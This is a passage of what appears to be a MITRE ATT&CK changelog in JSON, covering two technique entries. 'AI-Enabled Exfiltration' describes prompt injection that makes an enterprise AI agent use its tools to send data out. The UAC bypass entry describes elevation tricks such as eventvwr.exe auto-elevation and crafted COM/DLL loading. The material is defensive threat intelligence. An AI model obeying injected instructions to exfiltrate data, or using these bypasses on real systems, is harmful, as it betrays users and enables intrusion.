{
    "enterprise-attack": {
        "techniques": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--c0a6e9ec-9ef1-46b6-8a71-cc73863e8985",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-09-22 01:25:32.738000+00:00",
                    "modified": "2026-11-03 15:39:31.217000+00:00",
                    "name": "AI-Enabled Exfiltration",
                    "description": "Adversaries may utilize [Direct Prompt Injection](https://attack.mitre.org/techniques/T1699), [Indirect Prompt Injection](https://attack.mitre.org/techniques/T1698) or other methods to instruct enterprise AI agents to exfiltrate data.(Citation: Prompt-Injection Exfil)(Citation: Anthropic Report Sep 2026) When enterprise systems incorporate the use of AI assistants or other AI agents, adversaries may abuse these systems to weaponize sanctioned tools available to the agent.(Citation: Google Security State of Prompt Injections) \n\nAs an AI agent processes queries or ingests data, an injected prompt can cause the agent to use its tool connections in unauthorized or unintended ways. When AI agents are induced to exfiltrate data, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Google Cloud AI Risk Sep 2026)(Citation: Barracuda Prompt Injection Phishing Emails)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "exfiltration"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1700",
                            "external_id": "T1700"
                        },
                        {
                            "source_name": "Anthropic Report Sep 2026",
                            "description": "Anthropic Threat Intelligence Team. (2026, September 10). Detecting and countering misuse of AI: September 2026. Retrieved September 21, 2026.",
                            "url": "https://www.anthropic.com/threat-intelligence-report-september-2026"
                        },
                        {
                            "source_name": "Google Cloud AI Risk Sep 2026",
                            "description": "Google Cloud Security. (2026, September). AI risk and resilience | A Mandiant special report. Retrieved September 21, 2026.",
                            "url": "https://cloud.google.com/security/resources/ai-risk-and-resilience-2026"
                        },
                        {
                            "source_name": "Barracuda Prompt Injection Phishing Emails",
                            "description": "Guruprasad Kenja. (2026, October 6). Threat Spotlight: Email attacks target both humans and AI in the same message. Retrieved October 8, 2026.",
                            "url": "https://blog.barracuda.com/2026/10/07/email-attacks-target-both-humans-ai-assistants"
                        },
                        {
                            "source_name": "Prompt-Injection Exfil",
                            "description": "Md Habibur Rahman and Jaeho Kim. (2026, August 27). The Framing Gap: Indirect Prompt-Injection Exfiltration Defeats Surface-Level Defenses in Tool-Using Agents. Retrieved September 21, 2026.",
                            "url": "https://arxiv.org/html/2608.27092"
                        },
                        {
                            "source_name": "Google Security State of Prompt Injections",
                            "description": "Thomas Brunner, Yu-Han Liu, and Moni Pande. (2026, April 23). AI threats in the wild: The current state of prompt injections on the web. Retrieved September 21, 2026.",
                            "url": "https://blog.google/security/prompt-injections-web/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Ben Smith, @cmdaltr"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows",
                        "SaaS"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Ben Smith, @cmdaltr\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 15:39:31.217000+00:00\", \"old_value\": \"2026-10-09 16:32:40.851000+00:00\"}}}",
                    "previous_version": "1.0",
                    "changelog_mitigations": {
                        "shared": [
                            "M1017: User Training",
                            "M1022: Restrict File and Directory Permissions",
                            "M1048: Application Isolation and Sandboxing"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0927: Detect AI-Enabled Exfiltration"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-30 14:24:34.977000+00:00",
                    "modified": "2026-11-04 03:25:01.529000+00:00",
                    "name": "Bypass User Account Control",
                    "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on a system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1548/002",
                            "external_id": "T1548.002"
                        },
                        {
                            "source_name": "Davidson Windows",
                            "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
                            "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html"
                        },
                        {
                            "source_name": "TechNet How UAC Works",
                            "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
                            "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
                        },
                        {
                            "source_name": "SANS UAC Bypass",
                            "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
                            "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass"
                        },
                        {
                            "source_name": "MSDN COM Elevation",
                            "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
                            "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx"
                        },
                        {
                            "source_name": "enigma0x3 Fileless UAC Bypass",
                            "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
                            "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"
                        },
                        {
                            "source_name": "TechNet Inside UAC",
                            "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
                            "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx"
                        },
                        {
                            "source_name": "Fortinet Fareit",
                            "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
                            "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
                        },
                        {
                            "source_name": "Github UACMe",
                            "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
                            "url": "https://github.com/hfiref0x/UACME"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Stefan Kanthak",
                        "Casey Smith"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:25:01.529000+00:00\", \"old_value\": \"2026-05-12 15:12:00.621000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may bypass UAC mechanisms to elevate process privileges on a system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\\n\\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\\n\\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\\n\\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\\n\\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)\", \"old_value\": \"Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\\n\\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\\n\\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\\n\\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\\n\\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\\n+Adversaries may bypass UAC mechanisms to elevate process privileges on a system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\\n \\n If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\\n \"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to9__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to9__0\"><a href=\"#difflib_chg_to9__top\">t</a></td><td class=\"diff_header\" id=\"from9_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;bypass&nbsp;UAC&nbsp;mechanisms&nbsp;to&nbsp;elevate&nbsp;process&nbsp;pri</td><td class=\"diff_next\"><a href=\"#difflib_chg_to9__top\">t</a></td><td class=\"diff_header\" id=\"to9_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;bypass&nbsp;UAC&nbsp;mechanisms&nbsp;to&nbsp;elevate&nbsp;process&nbsp;pri</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vileges&nbsp;on&nbsp;system.&nbsp;Windows&nbsp;User&nbsp;Account&nbsp;Control&nbsp;(UAC)&nbsp;allows</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vileges&nbsp;on<span class=\"diff_add\">&nbsp;a</span>&nbsp;system.&nbsp;Windows&nbsp;User&nbsp;Account&nbsp;Control&nbsp;(UAC)&nbsp;allo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;program&nbsp;to&nbsp;elevate&nbsp;its&nbsp;privileges&nbsp;(tracked&nbsp;as&nbsp;integrity&nbsp;l</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws&nbsp;a&nbsp;program&nbsp;to&nbsp;elevate&nbsp;its&nbsp;privileges&nbsp;(tracked&nbsp;as&nbsp;integrity</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">evels&nbsp;ranging&nbsp;from&nbsp;low&nbsp;to&nbsp;high)&nbsp;to&nbsp;perform&nbsp;a&nbsp;task&nbsp;under&nbsp;admi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;levels&nbsp;ranging&nbsp;from&nbsp;low&nbsp;to&nbsp;high)&nbsp;to&nbsp;perform&nbsp;a&nbsp;task&nbsp;under&nbsp;ad</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nistrator-level&nbsp;permissions,&nbsp;possibly&nbsp;by&nbsp;prompting&nbsp;the&nbsp;user&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ministrator-level&nbsp;permissions,&nbsp;possibly&nbsp;by&nbsp;prompting&nbsp;the&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">for&nbsp;confirmation.&nbsp;The&nbsp;impact&nbsp;to&nbsp;the&nbsp;user&nbsp;ranges&nbsp;from&nbsp;denying</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;for&nbsp;confirmation.&nbsp;The&nbsp;impact&nbsp;to&nbsp;the&nbsp;user&nbsp;ranges&nbsp;from&nbsp;denyi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;operation&nbsp;under&nbsp;high&nbsp;enforcement&nbsp;to&nbsp;allowing&nbsp;the&nbsp;user&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;the&nbsp;operation&nbsp;under&nbsp;high&nbsp;enforcement&nbsp;to&nbsp;allowing&nbsp;the&nbsp;user</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;perform&nbsp;the&nbsp;action&nbsp;if&nbsp;they&nbsp;are&nbsp;in&nbsp;the&nbsp;local&nbsp;administrators</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;perform&nbsp;the&nbsp;action&nbsp;if&nbsp;they&nbsp;are&nbsp;in&nbsp;the&nbsp;local&nbsp;administrato</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;group&nbsp;and&nbsp;click&nbsp;through&nbsp;the&nbsp;prompt&nbsp;or&nbsp;allowing&nbsp;them&nbsp;to&nbsp;ente</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rs&nbsp;group&nbsp;and&nbsp;click&nbsp;through&nbsp;the&nbsp;prompt&nbsp;or&nbsp;allowing&nbsp;them&nbsp;to&nbsp;en</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;an&nbsp;administrator&nbsp;password&nbsp;to&nbsp;complete&nbsp;the&nbsp;action.(Citation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ter&nbsp;an&nbsp;administrator&nbsp;password&nbsp;to&nbsp;complete&nbsp;the&nbsp;action.(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;TechNet&nbsp;How&nbsp;UAC&nbsp;Works)&nbsp;&nbsp;If&nbsp;the&nbsp;UAC&nbsp;protection&nbsp;level&nbsp;of&nbsp;a&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;TechNet&nbsp;How&nbsp;UAC&nbsp;Works)&nbsp;&nbsp;If&nbsp;the&nbsp;UAC&nbsp;protection&nbsp;level&nbsp;of&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">omputer&nbsp;is&nbsp;set&nbsp;to&nbsp;anything&nbsp;but&nbsp;the&nbsp;highest&nbsp;level,&nbsp;certain&nbsp;Wi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;computer&nbsp;is&nbsp;set&nbsp;to&nbsp;anything&nbsp;but&nbsp;the&nbsp;highest&nbsp;level,&nbsp;certain&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ndows&nbsp;programs&nbsp;can&nbsp;elevate&nbsp;privileges&nbsp;or&nbsp;execute&nbsp;some&nbsp;elevat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Windows&nbsp;programs&nbsp;can&nbsp;elevate&nbsp;privileges&nbsp;or&nbsp;execute&nbsp;some&nbsp;elev</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;[Component&nbsp;Object&nbsp;Model](https://attack.mitre.org/techniq</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ated&nbsp;[Component&nbsp;Object&nbsp;Model](https://attack.mitre.org/techn</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ues/T1559/001)&nbsp;objects&nbsp;without&nbsp;prompting&nbsp;the&nbsp;user&nbsp;through&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iques/T1559/001)&nbsp;objects&nbsp;without&nbsp;prompting&nbsp;the&nbsp;user&nbsp;through&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;UAC&nbsp;notification&nbsp;box.(Citation:&nbsp;TechNet&nbsp;Inside&nbsp;UAC)(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;UAC&nbsp;notification&nbsp;box.(Citation:&nbsp;TechNet&nbsp;Inside&nbsp;UAC)(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;MSDN&nbsp;COM&nbsp;Elevation)&nbsp;An&nbsp;example&nbsp;of&nbsp;this&nbsp;is&nbsp;use&nbsp;of&nbsp;[Rundll</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;MSDN&nbsp;COM&nbsp;Elevation)&nbsp;An&nbsp;example&nbsp;of&nbsp;this&nbsp;is&nbsp;use&nbsp;of&nbsp;[Rund</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">32](https://attack.mitre.org/techniques/T1218/011)&nbsp;to&nbsp;load&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ll32](https://attack.mitre.org/techniques/T1218/011)&nbsp;to&nbsp;load</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;specifically&nbsp;crafted&nbsp;DLL&nbsp;which&nbsp;loads&nbsp;an&nbsp;auto-elevated&nbsp;[Comp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;specifically&nbsp;crafted&nbsp;DLL&nbsp;which&nbsp;loads&nbsp;an&nbsp;auto-elevated&nbsp;[Co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onent&nbsp;Object&nbsp;Model](https://attack.mitre.org/techniques/T155</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mponent&nbsp;Object&nbsp;Model](https://attack.mitre.org/techniques/T1</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">9/001)&nbsp;object&nbsp;and&nbsp;performs&nbsp;a&nbsp;file&nbsp;operation&nbsp;in&nbsp;a&nbsp;protected&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">559/001)&nbsp;object&nbsp;and&nbsp;performs&nbsp;a&nbsp;file&nbsp;operation&nbsp;in&nbsp;a&nbsp;protected</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">irectory&nbsp;which&nbsp;would&nbsp;typically&nbsp;require&nbsp;elevated&nbsp;access.&nbsp;Mali</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;directory&nbsp;which&nbsp;would&nbsp;typically&nbsp;require&nbsp;elevated&nbsp;access.&nbsp;Ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cious&nbsp;software&nbsp;may&nbsp;also&nbsp;be&nbsp;injected&nbsp;into&nbsp;a&nbsp;trusted&nbsp;process&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">licious&nbsp;software&nbsp;may&nbsp;also&nbsp;be&nbsp;injected&nbsp;into&nbsp;a&nbsp;trusted&nbsp;process</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;gain&nbsp;elevated&nbsp;privileges&nbsp;without&nbsp;prompting&nbsp;a&nbsp;user.(Citatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;gain&nbsp;elevated&nbsp;privileges&nbsp;without&nbsp;prompting&nbsp;a&nbsp;user.(Citat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Davidson&nbsp;Windows)&nbsp;&nbsp;Many&nbsp;methods&nbsp;have&nbsp;been&nbsp;discovered&nbsp;to&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;Davidson&nbsp;Windows)&nbsp;&nbsp;Many&nbsp;methods&nbsp;have&nbsp;been&nbsp;discovered&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ypass&nbsp;UAC.&nbsp;The&nbsp;Github&nbsp;readme&nbsp;page&nbsp;for&nbsp;UACME&nbsp;contains&nbsp;an&nbsp;exte</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;bypass&nbsp;UAC.&nbsp;The&nbsp;Github&nbsp;readme&nbsp;page&nbsp;for&nbsp;UACME&nbsp;contains&nbsp;an&nbsp;ex</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nsive&nbsp;list&nbsp;of&nbsp;methods(Citation:&nbsp;Github&nbsp;UACMe)&nbsp;that&nbsp;have&nbsp;been</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tensive&nbsp;list&nbsp;of&nbsp;methods(Citation:&nbsp;Github&nbsp;UACMe)&nbsp;that&nbsp;have&nbsp;be</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;discovered&nbsp;and&nbsp;implemented,&nbsp;but&nbsp;may&nbsp;not&nbsp;be&nbsp;a&nbsp;comprehensive&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;discovered&nbsp;and&nbsp;implemented,&nbsp;but&nbsp;may&nbsp;not&nbsp;be&nbsp;a&nbsp;comprehensiv</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">list&nbsp;of&nbsp;bypasses.&nbsp;Additional&nbsp;bypass&nbsp;methods&nbsp;are&nbsp;regularly&nbsp;di</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;list&nbsp;of&nbsp;bypasses.&nbsp;Additional&nbsp;bypass&nbsp;methods&nbsp;are&nbsp;regularly&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">scovered&nbsp;and&nbsp;some&nbsp;used&nbsp;in&nbsp;the&nbsp;wild,&nbsp;such&nbsp;as:&nbsp;&nbsp;*&nbsp;&lt;code&gt;eventv</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">discovered&nbsp;and&nbsp;some&nbsp;used&nbsp;in&nbsp;the&nbsp;wild,&nbsp;such&nbsp;as:&nbsp;&nbsp;*&nbsp;&lt;code&gt;even</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">wr.exe&lt;/code&gt;&nbsp;can&nbsp;auto-elevate&nbsp;and&nbsp;execute&nbsp;a&nbsp;specified&nbsp;binar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tvwr.exe&lt;/code&gt;&nbsp;can&nbsp;auto-elevate&nbsp;and&nbsp;execute&nbsp;a&nbsp;specified&nbsp;bin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;or&nbsp;script.(Citation:&nbsp;enigma0x3&nbsp;Fileless&nbsp;UAC&nbsp;Bypass)(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 